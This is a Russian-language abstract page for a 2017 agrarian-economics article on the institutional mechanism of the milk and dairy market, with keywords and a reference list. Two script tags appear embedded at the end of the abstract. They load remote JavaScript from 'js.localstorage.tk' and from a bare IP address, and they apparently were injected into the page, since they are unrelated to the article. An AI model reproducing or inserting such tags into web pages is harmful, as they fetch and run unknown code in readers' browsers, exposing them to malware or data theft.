eISSN 2413-2322

pISSN 2221-1055

УДК: 637.1: 338.516.4
Аграрний ринок

Институционально-экономический механизм развития рынка молока и молокопродуктов / Мамчур В.А. // Экономика АПК. - 2017. - № 4 - С. 41

Цель статьи - обоснование и раскрытие теоретико-методологических подходов к понятию институционально-экономического механизма развития рынка молока и молокопродуктов и научного позиционирования последнего в концепции товарных конструкций целостности аграрного рынка, а также и определение основных факторов, негативно влияющих на развитие исследуемого рынка. Теоретическая и методологическая основа исследования основывалась на общетеоретических методах научного познания, включая фундаментальные положения и принципы экономики развития рынка, освещенных в работах отечественных и зарубежных ученых. Для решения указанной цели использованы индуктивный и дедуктивный методы, что дало возможность систематизировать и обработать информацию, теоретически осмыслить и уточнить отдельные аспекты выбранной проблематики; проблемный - определить комплекс негативных факторов, влияющих на развитие рынка молока и молокопродуктов. Также использованы расчетно-аналитический и монографический методы, моделирования и абстрактно-логический и др. Исследованием сформулировано авторское видение сущности и функциональных признаков институционально-экономического механизма развития, а также обоснованы методологические аспекты анализа институциональной среды рынка молока и молокопродуктов как товарной составляющей целостного аграрного рынка, сформированного соответствующими институциональными образованиями. Доказано, что рынок молока и молокопродуктов как специфический, отличный от других товарных конструкций аграрного рынка, в своем развитии подвергается влиянию многих институциональных факторов (низкая доходность производства, уменьшение поголовья и т.д.), которые непосредственно влияют на его социально-экономическое значение и безопасностную составляющую его функционирования. Институционализированное составление и конструкционная товарная сегментация аграрного рынка как институциональной системы отношений экономических агентов дало возможность выявить как рынок молока и молокопродуктов, так и другие товарные рынки аграрного направления, нуждаются в регулировании и в самом институционально-экономическом механизме - институциональных составляющих саморегулирования рыночного процесса. Рассмотрение институционально-экономического механизма как "правила игры" между экономическими субъектами позволяет говорить о нем как о движущей силе развития и способе функционирования хозяйственной системы (независимо от ее размера) в сочетании с саморегулированием деятельности хозяйствующих субъектов с регулирующими функциями государства. Установлено и обосновано существование двух форм экономического механизма: открытого (формального) и закрытого (неформального), с соответствующими типовыми и видовыми структурными составляющими, образующих своеобразный модуль институционально-экономического механизма, который служит для приведения в гармоничное соответствие целого (механизма) и его частей (составляющих). Оптимальное сочетание элементов экономического механизма обусловливают его основные цели: способность хозяйствующих субъектов противостоять действию негативных институциональных факторов, оперативно вносить коррективы и реагировать на изменения рыночной среды. Установлено существование ряда институциональных факторов в совокупности негативно влияющих на развитие рынка молока и молокопродуктов. Илл.: 9. Библиогр.: 29.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Ключевые слова: рынок молока и молокопродуктов аграрный рынок институционально-экономический механизм развитие низкая доходность цена

Список использованных источников

  1. Збарський В.К. Перспективи відродження молочного скотарства на Черкащині / В.К. Збарський // Економіка АПК. - 2012. - №10. - C. 10-18.
  2. Мовчанюк А. В. Проблеми розвитку молочного скотарства в сільськогосподарських підприємствах Черкаської області / А. В. Мовчанюк // Економіка АПК. - 2012. - №10. - C. 146-151.
  3. Тивончук Я. О. Методичні підходи до формування організаційно-економічного механізму активізації діяльності підприємницьких структур ринку молока і молокопродуктів / Я. О. Тивончук // Агроінком. - 2011. - №1-3. - С. 15-20.
  4. Герасимчук Н. А. Інституційні засади розвитку агропродовольчих ринків / Н. А. Герасимчук // Наук. вісник Націон. ун-ту біоресурсів і природокористування України. - 2012. - Вип. 177, ч. 1. - С. 250-254.
  5. Ібатуллін М. І. Інституційне середовище продовольчого ринку: зарубіжний досвід і вітчизняне сьогодення / М. І. Ібатуллін // Вісн. аграр. науки. - 2015. - № 10. - С. 64-68.
  6. Ільчук М. М. Розвиток ринку молока і молочної продукції: моногр. / М. М. Ільчук, В. І. Радько, І. В. Мельникова. - К.: ЦП "Компринт", 2012. - 428 с.
  7. Охріменко І. В. Наукові основи макроекономічного аналізу аграрного ринку / І.В. Охріменко, І. М. Паска // Агросвіт. - 2015. - № 17. - С. 3-7.
  8. Бутило Р. Світовий ринок молока й молокопродуктів / Р. Бутило // Молоко і ферма. - 2014. - № 4. - С. 32-38.
  9. Гурська І. С. Розвиток регіонального ринку молока і молочної продукції / І.С. Гурська // Наук. вісн. Націон. у-ту біоресурсів і природокористування України. - 2013. - Вип. 181, ч. 1. - С. 31-37.
  10. Сальман І. Ю. Основні тенденції розвитку світового ринку молока та молокопродуктів та місце України в ньому / І. Ю. Сальман, В. І. Радько // Агросвіт. - 2015. - № 21. - С. 8-11.
  11. Ткачук С. П. Розвиток ринку молока та молокопродуктів України в умовах його адаптації до вимог Європейського Союзу / С. П. Ткачук // Біоресурси і природокористування. - 2015. - Т. 7. - № 1/2. - С. 145-151.
  12. Тюха І. В. Стан ринку молока: світовий та вітчизняний аспект / І. В. Тюха // Інвестиції: практика та досвід. - 2016. - № 2. - С. 33-37.
  13. Чан-Хі О. С. Регулювання експортно-імпортної діяльності на ринку молока та молочної продукції в Україні / О. С. Чан-Хі, Р. В. Янчевський // Наук. вісн. Націон. у-ту біоресурсів і природокористування України. - 2012. - Вип. 177. Ч. 1. - С. 209-217.
  14. Саблук П.Т. Основи організації сільськогосподарського ринку / П.Т. Саблук, Д.Я. Карич, Ю.С. Коваленко. - К.: ІАЕ УААН, 1997. - 140 с.
  15. Шпичак О.М. Економічні механізми державного регулювання ринків сільськогосподарської продукції та їх проблеми / О.М. Шпичак / Економіка АПК. - 2011. - № 2. - С. 150-155.
  16. Шпикуляк О.Г. Інституції у розвитку та регулюванні аграрного ринку: моногр. / О.Г. Шпикуляк. - К.: ННЦ ІАЕ, 2010. - 396 с.
  17. Шпикуляк О. Г. Інституціональний капітал регулювання і соціальний - саморегулювання аграрного ринку: концептуально-методологічні аспекти аналізу / О. Г. Шпикуляк, В. А. Мамчур, В. А. Пехов // Економіка. Фінанси. Менеджмент: актуальні питання науки і практики. 2015. №4. - С.88-101.
  18. Жибак М.М. Шляхи вдосконалення ефективного розвитку інфраструктури ринку в аграрному секторі економіки / М. М. Жибак // Наук. вісн. Націон. у-ту біоресурсів і природокористування України : Серія: Економіка, аграрний менеджмент, бізнес. - 2015. - Вип. 211, ч. 1. - С. 85-91.
  19. Калетнік Г.М. Інститути інфраструктури та ціноутворення у розвитку аграрного ринку: регіональний аспект : моногр. / Г.М. Калетнік, О.Г. Шпикуляк, Г.О. Пчелянська. - Вінниця: ТОВ «Фірма «Планер», 2012. - 324 с.
  20. Мамчур В. А. Інститути аграрного ринку: теоретичні аспекти / В. А. Мамчур // Економіка АПК. - 2010. - №10. - С. 151 - 156.
  21. Мамчур В.А. Інституціональний капітал як конструкт розвитку аграрного ринку / В.А. Мамчур // Економіка АПК. - 2016. - № 5 - С. 93.
  22. Малік М. Й. Фінансово-кредитний механізм у розвитку аграрного підприємництва / М.Й. Малік // Фінанси України. - 2004. - №5. - С.47-53.
  23. Истомин С.В. Сравнительный анализ институционального и хозяйственного механизмов в трансформируемой экономике / С. В. Истомин // Вестник Челябинского госуд. ун-та. - 2010. - № 27. - С. 47-51.
  24. Норт Д. Институциональные изменения : рамки анализа / Д. Норт // Вопросы экономики. - 1997. - № 3. - С. 6-17.
  25. Саблук П. Т. Формування міжгалузевих відносин : проблеми теорії і методології / П. Т. Саблук, М. Й. Малік, В. А. Валентинов. - К. : ІАЕ, 2002. - 294 с.
  26. Супрун О. М. Господарський механізм у розвитку та регулюванні економіки / О. М. Супрун // Вісн. Полтав. держ. аграр. акад. - 2011. - № 1. - С. 22-124.
  27. Саблук П. Т. Економічний механізм АПК у ринковій системі господарювання / П. Т. Саблук // Економіка АПК. - 2007. - № 2. - С. 3-10.
  28. Экономика аграрного рынка : учеб. пособие / С.-Петерб. гос. аграр. ун-т, Урал. ин-т нар. хоз. ; науч. ред. Л.И. Жуков. Екатеринбург: Изд-во Урал. ун-та,1993. - 480 с.
  29. Райзберг Б.А.Современный экономический словарь. - М., 2003. / Б.А. Райзберг, Л.Ш. Лозовский, Е.Б. Стародубцева // [Электронный ресурс]. Режим доступа: http://yas.yuna.ru/ ?1879053312@0816185600/.

Читать статью: e_apk_2017_4_7.pdf